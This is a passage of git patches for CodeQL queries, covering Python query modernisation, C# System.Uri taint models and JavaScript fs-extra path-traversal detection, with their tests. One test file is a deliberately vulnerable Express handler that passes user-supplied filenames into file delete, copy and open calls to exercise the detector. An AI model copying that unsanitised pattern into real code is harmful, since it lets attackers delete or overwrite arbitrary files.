2dcd7895ec963ce8379bb89b3923922a03b620b9 Mon Sep 17 00:00:00 2001 From: Taus Date: Thu, 27 Mar 2025 15:27:42 +0000 Subject: [PATCH 089/282] Python: Modernise `py/mixed-tuple-returns` Removes the dependence on points-to in favour of an approach based on (local) data-flow. I first tried a version that used type tracking, as this more accurately mimics the behaviour of the old query. However, I soon discovered that there were _many_ false positives in this setup. The main bad pattern I saw was a helper function somewhere deep inside the code that both receives and returns an argument that can be tuples with different sizes and origins. In this case, global flow produces something akin to a cartesian product of "n-tuples that flow into the function" and "m-tuples that flow into the function" where m < n. To combat this, I decided to instead focus on only flow _within_ a given function (and so local data-flow was sufficient). Additionally, another class of false positives I saw was cases where the return type actually witnessed that the function in question could return tuples of varying sizes. In this case it seems reasonable to not flag these instances, since they are already (presumably) being checked by a type checker. More generally, if you've annotated the return type of the function with anything (not just `Tuple[...]`), then there's probably little need to flag it. --- .../src/Functions/ReturnConsistentTupleSizes.ql | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) diff --git a/python/ql/src/Functions/ReturnConsistentTupleSizes.ql b/python/ql/src/Functions/ReturnConsistentTupleSizes.ql index 9046f52cecb..f0cb83067e0 100644 --- a/python/ql/src/Functions/ReturnConsistentTupleSizes.ql +++ b/python/ql/src/Functions/ReturnConsistentTupleSizes.ql @@ -4,6 +4,7 @@ * @kind problem * @tags reliability * maintainability + * quality * @problem.severity recommendation * @sub-severity high * @precision high @@ -11,13 +12,15 @@ */ import python +import semmle.python.ApiGraphs -predicate returns_tuple_of_size(Function func, int size, AstNode origin) { - exists(Return return, TupleValue val | +predicate returns_tuple_of_size(Function func, int size, Tuple tuple) { + exists(Return return, DataFlow::Node value | + value.asExpr() = return.getValue() and return.getScope() = func and - return.getValue().pointsTo(val, origin) + any(DataFlow::LocalSourceNode n | n.asExpr() = tuple).flowsTo(value) | - size = val.length() + size = count(int n | exists(tuple.getElt(n))) ) } @@ -25,6 +28,8 @@ from Function func, int s1, int s2, AstNode t1, AstNode t2 where returns_tuple_of_size(func, s1, t1) and returns_tuple_of_size(func, s2, t2) and - s1 < s2 + s1 < s2 and + // Don't report on functions that have a return type annotation + not exists(func.getDefinition().(FunctionExpr).getReturns()) select func, func.getQualifiedName() + " returns $@ and $@.", t1, "tuple of size " + s1, t2, "tuple of size " + s2 From f601f4ad9ba2a5d56365ef7692b7f7b6bb8e1ee9 Mon Sep 17 00:00:00 2001 From: Taus Date: Thu, 27 Mar 2025 15:31:28 +0000 Subject: [PATCH 090/282] Python: Update test expectations As we're no longer tracking tuples across function boundaries, we lose the result that related to this setup (which, as the preceding commit explains, lead to a lot of false positives). --- .../Functions/return_values/ReturnConsistentTupleSizes.expected | 1 - 1 file changed, 1 deletion(-) diff --git a/python/ql/test/query-tests/Functions/return_values/ReturnConsistentTupleSizes.expected b/python/ql/test/query-tests/Functions/return_values/ReturnConsistentTupleSizes.expected index fd4f1ee2dd7..2733ae8c26a 100644 --- a/python/ql/test/query-tests/Functions/return_values/ReturnConsistentTupleSizes.expected +++ b/python/ql/test/query-tests/Functions/return_values/ReturnConsistentTupleSizes.expected @@ -1,2 +1 @@ | functions_test.py:306:1:306:39 | Function returning_different_tuple_sizes | returning_different_tuple_sizes returns $@ and $@. | functions_test.py:308:16:308:18 | Tuple | tuple of size 2 | functions_test.py:310:16:310:20 | Tuple | tuple of size 3 | -| functions_test.py:324:1:324:50 | Function indirectly_returning_different_tuple_sizes | indirectly_returning_different_tuple_sizes returns $@ and $@. | functions_test.py:319:12:319:14 | Tuple | tuple of size 2 | functions_test.py:322:12:322:16 | Tuple | tuple of size 3 | From 980c7d83dac91f6dae11d352a5603a45d23b52ca Mon Sep 17 00:00:00 2001 From: Taus Date: Thu, 27 Mar 2025 15:33:00 +0000 Subject: [PATCH 091/282] Python: Add change note --- .../2025-03-27-modernize-mixed-tuple-returns-query.md | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 python/ql/src/change-notes/2025-03-27-modernize-mixed-tuple-returns-query.md diff --git a/python/ql/src/change-notes/2025-03-27-modernize-mixed-tuple-returns-query.md b/python/ql/src/change-notes/2025-03-27-modernize-mixed-tuple-returns-query.md new file mode 100644 index 00000000000..9f527b6b5a3 --- /dev/null +++ b/python/ql/src/change-notes/2025-03-27-modernize-mixed-tuple-returns-query.md @@ -0,0 +1,5 @@ +--- +category: minorAnalysis +--- + +- The `py/mixed-tuple-returns` query no longer flags instances where the tuple is passed into the function as an argument, as this lead to too many false positives. From 2fd9b1673677059e78d51c2e9c9c2cb85dbc0489 Mon Sep 17 00:00:00 2001 From: Joe Farebrother Date: Thu, 27 Mar 2025 15:45:38 +0000 Subject: [PATCH 092/282] Attempt performance improvement for fileLocalFlow --- .../Resources/FileNotAlwaysClosedQuery.qll | 23 +++++++++++++++---- 1 file changed, 18 insertions(+), 5 deletions(-) diff --git a/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll b/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll index 5df0d093a14..fe1d6578e11 100644 --- a/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll +++ b/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll @@ -84,15 +84,28 @@ private predicate mayRaiseWithFile(DataFlow::CfgNode file, DataFlow::CfgNode rai } /** Holds if data flows from `nodeFrom` to `nodeTo` in one step that also includes file wrapper classes. */ -private predicate fileLocalFlowStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) { - DataFlow::localFlowStep(nodeFrom, nodeTo) - or +private predicate fileAdditionalLocalFlowStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) { exists(FileWrapperCall fw | nodeFrom = fw.getWrapped() and nodeTo = fw) } +private predicate fileLocalFlowHelper0( + DataFlow::LocalSourceNode nodeFrom, DataFlow::LocalSourceNode nodeTo +) { + exists(DataFlow::Node nodeMid | + nodeFrom.flowsTo(nodeMid) and fileAdditionalLocalFlowStep(nodeMid, nodeTo) + ) +} + +private predicate fileLocalFlowHelper1( + DataFlow::LocalSourceNode nodeFrom, DataFlow::LocalSourceNode nodeTo +) { + fileLocalFlowHelper0*(nodeFrom, nodeTo) +} + /** Holds if data flows from `source` to `sink`, including file wrapper classes. */ -private predicate fileLocalFlow(DataFlow::Node source, DataFlow::Node sink) { - fileLocalFlowStep*(source, sink) +pragma[inline] +private predicate fileLocalFlow(FileOpen source, DataFlow::Node sink) { + exists(DataFlow::LocalSourceNode mid | fileLocalFlowHelper1(source, mid) and mid.flowsTo(sink)) } /** Holds if the file opened at `fo` is closed. */ From 68668b8e224a95591342610812b07e1f6489b113 Mon Sep 17 00:00:00 2001 From: Taus Date: Thu, 27 Mar 2025 23:23:29 +0100 Subject: [PATCH 093/282] Python: Fix grammar in change note --- .../2025-03-27-modernize-mixed-tuple-returns-query.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/ql/src/change-notes/2025-03-27-modernize-mixed-tuple-returns-query.md b/python/ql/src/change-notes/2025-03-27-modernize-mixed-tuple-returns-query.md index 9f527b6b5a3..57cf5c69a13 100644 --- a/python/ql/src/change-notes/2025-03-27-modernize-mixed-tuple-returns-query.md +++ b/python/ql/src/change-notes/2025-03-27-modernize-mixed-tuple-returns-query.md @@ -2,4 +2,4 @@ category: minorAnalysis --- -- The `py/mixed-tuple-returns` query no longer flags instances where the tuple is passed into the function as an argument, as this lead to too many false positives. +- The `py/mixed-tuple-returns` query no longer flags instances where the tuple is passed into the function as an argument, as this led to too many false positives. From 209f2f07130c5d57c8a5c676ac5735a4078ca645 Mon Sep 17 00:00:00 2001 From: Lindsay Simpkins Date: Thu, 27 Mar 2025 23:31:18 -0400 Subject: [PATCH 094/282] csharp update MaD for System.Uri --- csharp/ql/lib/change-notes/2025-03-27.md | 4 ++++ csharp/ql/lib/ext/System.model.yml | 14 +++++++++++ .../dataflow/library/FlowSummaries.expected | 24 +++++++++++-------- .../library/FlowSummariesFiltered.expected | 24 +++++++++++-------- 4 files changed, 46 insertions(+), 20 deletions(-) create mode 100644 csharp/ql/lib/change-notes/2025-03-27.md diff --git a/csharp/ql/lib/change-notes/2025-03-27.md b/csharp/ql/lib/change-notes/2025-03-27.md new file mode 100644 index 00000000000..2b88cfb44d0 --- /dev/null +++ b/csharp/ql/lib/change-notes/2025-03-27.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* The models for `System.Uri` have been modified to better model the flow of tainted URIs. \ No newline at end of file diff --git a/csharp/ql/lib/ext/System.model.yml b/csharp/ql/lib/ext/System.model.yml index 5e94dfcbf08..3853f03dc2f 100644 --- a/csharp/ql/lib/ext/System.model.yml +++ b/csharp/ql/lib/ext/System.model.yml @@ -778,9 +778,23 @@ extensions: - ["System", "TupleExtensions", False, "Deconstruct", "(System.Tuple,T1,T2)", "", "Argument[0].Property[System.Tuple`2.Item2]", "Argument[2]", "value", "manual"] - ["System", "TupleExtensions", False, "Deconstruct", "(System.Tuple,T1)", "", "Argument[0].Property[System.Tuple`1.Item1]", "Argument[1]", "value", "manual"] - ["System", "Uri", False, "ToString", "()", "", "Argument[this]", "ReturnValue", "taint", "manual"] + - ["System", "Uri", False, "TryCreate", "(System.String,System.UriCreationOptions,System.Uri)", "", "Argument[0]", "Argument[2]", "taint", "manual"] + - ["System", "Uri", False, "TryCreate", "(System.String,System.UriKind,System.Uri)", "", "Argument[0]", "Argument[2]", "taint", "manual"] + - ["System", "Uri", False, "TryCreate", "(System.Uri,System.String,System.Uri)", "", "Argument[0]", "Argument[2]", "taint", "manual"] + - ["System", "Uri", False, "TryCreate", "(System.Uri,System.String,System.Uri)", "", "Argument[1]", "Argument[2]", "taint", "manual"] + - ["System", "Uri", False, "TryCreate", "(System.Uri,System.Uri,System.Uri)", "", "Argument[0]", "Argument[2]", "taint", "manual"] + - ["System", "Uri", False, "TryCreate", "(System.Uri,System.Uri,System.Uri)", "", "Argument[1]", "Argument[2]", "taint", "manual"] - ["System", "Uri", False, "Uri", "(System.String)", "", "Argument[0]", "Argument[this]", "taint", "manual"] - ["System", "Uri", False, "Uri", "(System.String,System.Boolean)", "", "Argument[0]", "Argument[this]", "taint", "manual"] - ["System", "Uri", False, "Uri", "(System.String,System.UriKind)", "", "Argument[0]", "Argument[this]", "taint", "manual"] + - ["System", "Uri", False, "Uri", "(System.String,System.UriCreationOptions)", "", "Argument[0]", "Argument[this]", "taint", "manual"] + - ["System", "Uri", False, "Uri", "(System.Uri,System.String)", "", "Argument[0]", "Argument[this]", "taint", "manual"] + - ["System", "Uri", False, "Uri", "(System.Uri,System.String)", "", "Argument[1]", "Argument[this]", "taint", "manual"] + - ["System", "Uri", False, "Uri", "(System.Uri,System.String,System.Boolean)", "", "Argument[0]", "Argument[this]", "taint", "manual"] + - ["System", "Uri", False, "Uri", "(System.Uri,System.String,System.Boolean)", "", "Argument[1]", "Argument[this]", "taint", "manual"] + - ["System", "Uri", False, "get_AbsoluteUri", "()", "", "Argument[this]", "ReturnValue", "taint", "manual"] + - ["System", "Uri", False, "get_DnsSafeHost", "()", "", "Argument[this]", "ReturnValue", "taint", "manual"] + - ["System", "Uri", False, "get_LocalPath", "()", "", "Argument[this]", "ReturnValue", "taint", "manual"] - ["System", "Uri", False, "get_OriginalString", "()", "", "Argument[this]", "ReturnValue", "taint", "manual"] - ["System", "Uri", False, "get_PathAndQuery", "()", "", "Argument[this]", "ReturnValue", "taint", "manual"] - ["System", "Uri", False, "get_Query", "()", "", "Argument[this]", "ReturnValue", "taint", "manual"] diff --git a/csharp/ql/test/library-tests/dataflow/library/FlowSummaries.expected b/csharp/ql/test/library-tests/dataflow/library/FlowSummaries.expected index a336988a713..4b7dc533819 100644 --- a/csharp/ql/test/library-tests/dataflow/library/FlowSummaries.expected +++ b/csharp/ql/test/library-tests/dataflow/library/FlowSummaries.expected @@ -23466,29 +23466,33 @@ summary | System;Uri;ToString;();Argument[this];ReturnValue;taint;manual | | System;Uri;ToString;(System.String,System.IFormatProvider);Argument[this].SyntheticField[System.Uri._string];ReturnValue;value;dfc-generated | | System;Uri;ToString;(System.String,System.IFormatProvider);Argument[this];ReturnValue;taint;dfc-generated | -| System;Uri;TryCreate;(System.String,System.UriCreationOptions,System.Uri);Argument[0];ReturnValue.SyntheticField[System.Uri._string];value;dfc-generated | -| System;Uri;TryCreate;(System.String,System.UriKind,System.Uri);Argument[0];ReturnValue.SyntheticField[System.Uri._string];value;dfc-generated | -| System;Uri;TryCreate;(System.Uri,System.String,System.Uri);Argument[1];ReturnValue.SyntheticField[System.Uri._string];value;dfc-generated | -| System;Uri;TryCreate;(System.Uri,System.Uri,System.Uri);Argument[0];ReturnValue;taint;df-generated | -| System;Uri;TryCreate;(System.Uri,System.Uri,System.Uri);Argument[1];ReturnValue;taint;df-generated | +| System;Uri;TryCreate;(System.String,System.UriCreationOptions,System.Uri);Argument[0];Argument[2];taint;manual | +| System;Uri;TryCreate;(System.String,System.UriKind,System.Uri);Argument[0];Argument[2];taint;manual | +| System;Uri;TryCreate;(System.Uri,System.String,System.Uri);Argument[0];Argument[2];taint;manual | +| System;Uri;TryCreate;(System.Uri,System.String,System.Uri);Argument[1];Argument[2];taint;manual | +| System;Uri;TryCreate;(System.Uri,System.Uri,System.Uri);Argument[0];Argument[2];taint;manual | +| System;Uri;TryCreate;(System.Uri,System.Uri,System.Uri);Argument[1];Argument[2];taint;manual | | System;Uri;TryEscapeDataString;(System.ReadOnlySpan,System.Span,System.Int32);Argument[0].Element;Argument[1].Element;value;dfc-generated | | System;Uri;TryUnescapeDataString;(System.ReadOnlySpan,System.Span,System.Int32);Argument[0].Element;Argument[1].Element;value;dfc-generated | | System;Uri;UnescapeDataString;(System.ReadOnlySpan);Argument[0].Element;ReturnValue;taint;dfc-generated | | System;Uri;UnescapeDataString;(System.String);Argument[0];ReturnValue;value;dfc-generated | | System;Uri;Uri;(System.String);Argument[0];Argument[this];taint;manual | | System;Uri;Uri;(System.String,System.Boolean);Argument[0];Argument[this];taint;manual | -| System;Uri;Uri;(System.String,System.UriCreationOptions);Argument[0];Argument[this].SyntheticField[System.Uri._string];value;dfc-generated | +| System;Uri;Uri;(System.String,System.UriCreationOptions);Argument[0];Argument[this];taint;manual | | System;Uri;Uri;(System.String,System.UriKind);Argument[0];Argument[this];taint;manual | -| System;Uri;Uri;(System.Uri,System.String);Argument[1];Argument[this].SyntheticField[System.Uri._string];value;dfc-generated | -| System;Uri;Uri;(System.Uri,System.String,System.Boolean);Argument[1];Argument[this].SyntheticField[System.Uri._string];value;dfc-generated | +| System;Uri;Uri;(System.Uri,System.String);Argument[0];Argument[this];taint;manual | +| System;Uri;Uri;(System.Uri,System.String);Argument[1];Argument[this];taint;manual | +| System;Uri;Uri;(System.Uri,System.String,System.Boolean);Argument[0];Argument[this];taint;manual | +| System;Uri;Uri;(System.Uri,System.String,System.Boolean);Argument[1];Argument[this];taint;manual | | System;Uri;Uri;(System.Uri,System.Uri);Argument[0];Argument[this];taint;df-generated | | System;Uri;Uri;(System.Uri,System.Uri);Argument[1];Argument[this];taint;df-generated | | System;Uri;get_AbsolutePath;();Argument[this];ReturnValue;taint;df-generated | +| System;Uri;get_AbsoluteUri;();Argument[this];ReturnValue;taint;manual | | System;Uri;get_Authority;();Argument[this];ReturnValue;taint;df-generated | -| System;Uri;get_DnsSafeHost;();Argument[this].Property[System.Uri.IdnHost];ReturnValue;value;dfc-generated | +| System;Uri;get_DnsSafeHost;();Argument[this];ReturnValue;taint;manual | | System;Uri;get_Host;();Argument[this];ReturnValue;taint;df-generated | | System;Uri;get_IdnHost;();Argument[this];ReturnValue;taint;df-generated | -| System;Uri;get_LocalPath;();Argument[this].SyntheticField[System.Uri._string];ReturnValue;value;dfc-generated | +| System;Uri;get_LocalPath;();Argument[this];ReturnValue;taint;manual | | System;Uri;get_OriginalString;();Argument[this];ReturnValue;taint;manual | | System;Uri;get_PathAndQuery;();Argument[this];ReturnValue;taint;manual | | System;Uri;get_Query;();Argument[this];ReturnValue;taint;manual | diff --git a/csharp/ql/test/library-tests/dataflow/library/FlowSummariesFiltered.expected b/csharp/ql/test/library-tests/dataflow/library/FlowSummariesFiltered.expected index a426b242845..f5b48a00292 100644 --- a/csharp/ql/test/library-tests/dataflow/library/FlowSummariesFiltered.expected +++ b/csharp/ql/test/library-tests/dataflow/library/FlowSummariesFiltered.expected @@ -18122,29 +18122,33 @@ | System;Uri;MakeRelativeUri;(System.Uri);Argument[0];ReturnValue;taint;df-generated | | System;Uri;ToString;();Argument[this];ReturnValue;taint;manual | | System;Uri;ToString;(System.String,System.IFormatProvider);Argument[this].SyntheticField[System.Uri._string];ReturnValue;value;dfc-generated | -| System;Uri;TryCreate;(System.String,System.UriCreationOptions,System.Uri);Argument[0];ReturnValue.SyntheticField[System.Uri._string];value;dfc-generated | -| System;Uri;TryCreate;(System.String,System.UriKind,System.Uri);Argument[0];ReturnValue.SyntheticField[System.Uri._string];value;dfc-generated | -| System;Uri;TryCreate;(System.Uri,System.String,System.Uri);Argument[1];ReturnValue.SyntheticField[System.Uri._string];value;dfc-generated | -| System;Uri;TryCreate;(System.Uri,System.Uri,System.Uri);Argument[0];ReturnValue;taint;df-generated | -| System;Uri;TryCreate;(System.Uri,System.Uri,System.Uri);Argument[1];ReturnValue;taint;df-generated | +| System;Uri;TryCreate;(System.String,System.UriCreationOptions,System.Uri);Argument[0];Argument[2];taint;manual | +| System;Uri;TryCreate;(System.String,System.UriKind,System.Uri);Argument[0];Argument[2];taint;manual | +| System;Uri;TryCreate;(System.Uri,System.String,System.Uri);Argument[0];Argument[2];taint;manual | +| System;Uri;TryCreate;(System.Uri,System.String,System.Uri);Argument[1];Argument[2];taint;manual | +| System;Uri;TryCreate;(System.Uri,System.Uri,System.Uri);Argument[0];Argument[2];taint;manual | +| System;Uri;TryCreate;(System.Uri,System.Uri,System.Uri);Argument[1];Argument[2];taint;manual | | System;Uri;TryEscapeDataString;(System.ReadOnlySpan,System.Span,System.Int32);Argument[0].Element;Argument[1].Element;value;dfc-generated | | System;Uri;TryUnescapeDataString;(System.ReadOnlySpan,System.Span,System.Int32);Argument[0].Element;Argument[1].Element;value;dfc-generated | | System;Uri;UnescapeDataString;(System.ReadOnlySpan);Argument[0].Element;ReturnValue;taint;dfc-generated | | System;Uri;UnescapeDataString;(System.String);Argument[0];ReturnValue;value;dfc-generated | | System;Uri;Uri;(System.String);Argument[0];Argument[this];taint;manual | | System;Uri;Uri;(System.String,System.Boolean);Argument[0];Argument[this];taint;manual | -| System;Uri;Uri;(System.String,System.UriCreationOptions);Argument[0];Argument[this].SyntheticField[System.Uri._string];value;dfc-generated | +| System;Uri;Uri;(System.String,System.UriCreationOptions);Argument[0];Argument[this];taint;manual | | System;Uri;Uri;(System.String,System.UriKind);Argument[0];Argument[this];taint;manual | -| System;Uri;Uri;(System.Uri,System.String);Argument[1];Argument[this].SyntheticField[System.Uri._string];value;dfc-generated | -| System;Uri;Uri;(System.Uri,System.String,System.Boolean);Argument[1];Argument[this].SyntheticField[System.Uri._string];value;dfc-generated | +| System;Uri;Uri;(System.Uri,System.String);Argument[0];Argument[this];taint;manual | +| System;Uri;Uri;(System.Uri,System.String);Argument[1];Argument[this];taint;manual | +| System;Uri;Uri;(System.Uri,System.String,System.Boolean);Argument[0];Argument[this];taint;manual | +| System;Uri;Uri;(System.Uri,System.String,System.Boolean);Argument[1];Argument[this];taint;manual | | System;Uri;Uri;(System.Uri,System.Uri);Argument[0];Argument[this];taint;df-generated | | System;Uri;Uri;(System.Uri,System.Uri);Argument[1];Argument[this];taint;df-generated | | System;Uri;get_AbsolutePath;();Argument[this];ReturnValue;taint;df-generated | +| System;Uri;get_AbsoluteUri;();Argument[this];ReturnValue;taint;manual | | System;Uri;get_Authority;();Argument[this];ReturnValue;taint;df-generated | -| System;Uri;get_DnsSafeHost;();Argument[this].Property[System.Uri.IdnHost];ReturnValue;value;dfc-generated | +| System;Uri;get_DnsSafeHost;();Argument[this];ReturnValue;taint;manual | | System;Uri;get_Host;();Argument[this];ReturnValue;taint;df-generated | | System;Uri;get_IdnHost;();Argument[this];ReturnValue;taint;df-generated | -| System;Uri;get_LocalPath;();Argument[this].SyntheticField[System.Uri._string];ReturnValue;value;dfc-generated | +| System;Uri;get_LocalPath;();Argument[this];ReturnValue;taint;manual | | System;Uri;get_OriginalString;();Argument[this];ReturnValue;taint;manual | | System;Uri;get_PathAndQuery;();Argument[this];ReturnValue;taint;manual | | System;Uri;get_Query;();Argument[this];ReturnValue;taint;manual | From cc76cdb79550b54f92e8f4e11d44023fd38afacc Mon Sep 17 00:00:00 2001 From: Lindsay Simpkins Date: Fri, 28 Mar 2025 00:27:34 -0400 Subject: [PATCH 095/282] rename change note file --- .../{2025-03-27.md => 2025-03-27-update-system.uri-model.md} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename csharp/ql/lib/change-notes/{2025-03-27.md => 2025-03-27-update-system.uri-model.md} (100%) diff --git a/csharp/ql/lib/change-notes/2025-03-27.md b/csharp/ql/lib/change-notes/2025-03-27-update-system.uri-model.md similarity index 100% rename from csharp/ql/lib/change-notes/2025-03-27.md rename to csharp/ql/lib/change-notes/2025-03-27-update-system.uri-model.md From 96a550582b2716589ecc60d81e24f8052f866ca3 Mon Sep 17 00:00:00 2001 From: Napalys Date: Thu, 27 Mar 2025 10:06:08 +0100 Subject: [PATCH 096/282] Added test cases for `fs-extra` missing features. --- .../CWE-022/TaintedPath/more-fs-extra.js | 33 +++++++++++++++++++ 1 file changed, 33 insertions(+) create mode 100644 javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js new file mode 100644 index 00000000000..e9bf5509021 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js @@ -0,0 +1,33 @@ +const express = require('express'); +const fs = require('fs-extra'); +const app = express(); + +app.use(express.json()); + +app.post('/rmsync', (req, res) => { + const { filename } = req.body; // $ MISSING: Source + + fs.rmSync(filename); // MISSING: $ Alert + fs.rm(filename); // MISSING: $ Alert + fs.rmdir(filename); // MISSING: $ Alert + fs.rmdirSync(filename); // MISSING: $ Alert + fs.cp(filename, "destination"); // MISSING: $ Alert + fs.cp("source", filename); // MISSING: $ Alert + fs.copyFileSync(filename, "destination"); // MISSING: $ Alert + fs.copyFileSync("source", filename); // MISSING: $ Alert + fs.cpSync(filename, "destination"); // MISSING: $ Alert + fs.cpSync("source", filename); // MISSING: $ Alert + fs.emptydirSync(filename); // MISSING: $ Alert + fs.emptydir(filename); // MISSING: $ Alert + fs.opendir(filename); // $ MISSING: Alert + fs.opendirSync(filename); // $ MISSING: Alert + fs.openAsBlob(filename); // $ MISSING: Alert + fs.statfs(filename); // $ MISSING: Alert + fs.statfsSync(filename); // $ MISSING: Alert + fs.open(filename, 'r'); // $ MISSING: Alert + fs.openSync(filename, 'r'); // $ MISSING: Alert + fs.outputJSONSync(filename, req.body.data, { spaces: 2 }); // $ MISSING: Alert + fs.lutimes(filename, new Date(req.body.atime), new Date(req.body.mtime)); // MISSING: $ Alert + fs.lutimesSync(filename, new Date(req.body.atime), new Date(req.body.mtime)); // MISSING: $ Alert + fs.outputJsonSync(filename, { timestamp: new Date().toISOString(), action: req.body.action, user: req.body.user}, { spaces: 2 }); // $ MISSING: Alert +}); From 7a08f32e1639d566f05157c2ff2355e6afca309b Mon Sep 17 00:00:00 2001 From: Napalys Date: Thu, 27 Mar 2025 10:16:29 +0100 Subject: [PATCH 097/282] Added support for `cp` functions from `fs-extra`. --- .../javascript/frameworks/NodeJSLib.qll | 2 +- .../CWE-022/TaintedPath/TaintedPath.expected | 25 +++++++++++++++++++ .../CWE-022/TaintedPath/more-fs-extra.js | 14 +++++------ 3 files changed, 33 insertions(+), 8 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll index bf5c2cafa5f..1ee002fa850 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll @@ -434,7 +434,7 @@ module NodeJSLib { * method might represent a file path. */ private predicate fsExtraExtensionFileParam(string methodName, int i) { - methodName = ["copy", "copySync", "copyFile"] and i = [0, 1] + methodName = ["copy", "copySync", "copyFile", "cp", "copyFileSync", "cpSync"] and i = [0, 1] or methodName = ["move", "moveSync"] and i = [0, 1] or diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected index db9c0b11a35..81bab378adf 100644 --- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected +++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected @@ -52,6 +52,12 @@ | handlebars.js:11:32:11:39 | filePath | handlebars.js:29:46:29:60 | req.params.path | handlebars.js:11:32:11:39 | filePath | This path depends on a $@. | handlebars.js:29:46:29:60 | req.params.path | user-provided value | | handlebars.js:15:25:15:32 | filePath | handlebars.js:43:15:43:29 | req.params.path | handlebars.js:15:25:15:32 | filePath | This path depends on a $@. | handlebars.js:43:15:43:29 | req.params.path | user-provided value | | hapi.js:15:44:15:51 | filepath | hapi.js:14:30:14:51 | request ... ilepath | hapi.js:15:44:15:51 | filepath | This path depends on a $@. | hapi.js:14:30:14:51 | request ... ilepath | user-provided value | +| more-fs-extra.js:14:11:14:18 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:14:11:14:18 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:15:21:15:28 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:15:21:15:28 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:16:21:16:28 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:16:21:16:28 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:17:31:17:38 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:17:31:17:38 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:18:15:18:22 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:18:15:18:22 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:19:25:19:32 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:19:25:19:32 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | | normalizedPaths.js:13:19:13:22 | path | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:13:19:13:22 | path | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value | | normalizedPaths.js:14:19:14:29 | './' + path | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:14:19:14:29 | './' + path | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value | | normalizedPaths.js:15:19:15:38 | path + '/index.html' | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:15:19:15:38 | path + '/index.html' | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value | @@ -347,6 +353,15 @@ edges | handlebars.js:43:15:43:29 | req.params.path | handlebars.js:13:73:13:80 | filePath | provenance | | | hapi.js:14:19:14:51 | filepath | hapi.js:15:44:15:51 | filepath | provenance | | | hapi.js:14:30:14:51 | request ... ilepath | hapi.js:14:19:14:51 | filepath | provenance | | +| more-fs-extra.js:8:11:8:22 | { filename } | more-fs-extra.js:8:13:8:20 | filename | provenance | Config | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:14:11:14:18 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:15:21:15:28 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:16:21:16:28 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:17:31:17:38 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:18:15:18:22 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:19:25:19:32 | filename | provenance | | +| more-fs-extra.js:8:13:8:20 | filename | more-fs-extra.js:8:11:8:33 | filename | provenance | | +| more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:8:11:8:22 | { filename } | provenance | | | normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:13:19:13:22 | path | provenance | | | normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:14:26:14:29 | path | provenance | | | normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:15:19:15:22 | path | provenance | | @@ -827,6 +842,16 @@ nodes | hapi.js:14:19:14:51 | filepath | semmle.label | filepath | | hapi.js:14:30:14:51 | request ... ilepath | semmle.label | request ... ilepath | | hapi.js:15:44:15:51 | filepath | semmle.label | filepath | +| more-fs-extra.js:8:11:8:22 | { filename } | semmle.label | { filename } | +| more-fs-extra.js:8:11:8:33 | filename | semmle.label | filename | +| more-fs-extra.js:8:13:8:20 | filename | semmle.label | filename | +| more-fs-extra.js:8:26:8:33 | req.body | semmle.label | req.body | +| more-fs-extra.js:14:11:14:18 | filename | semmle.label | filename | +| 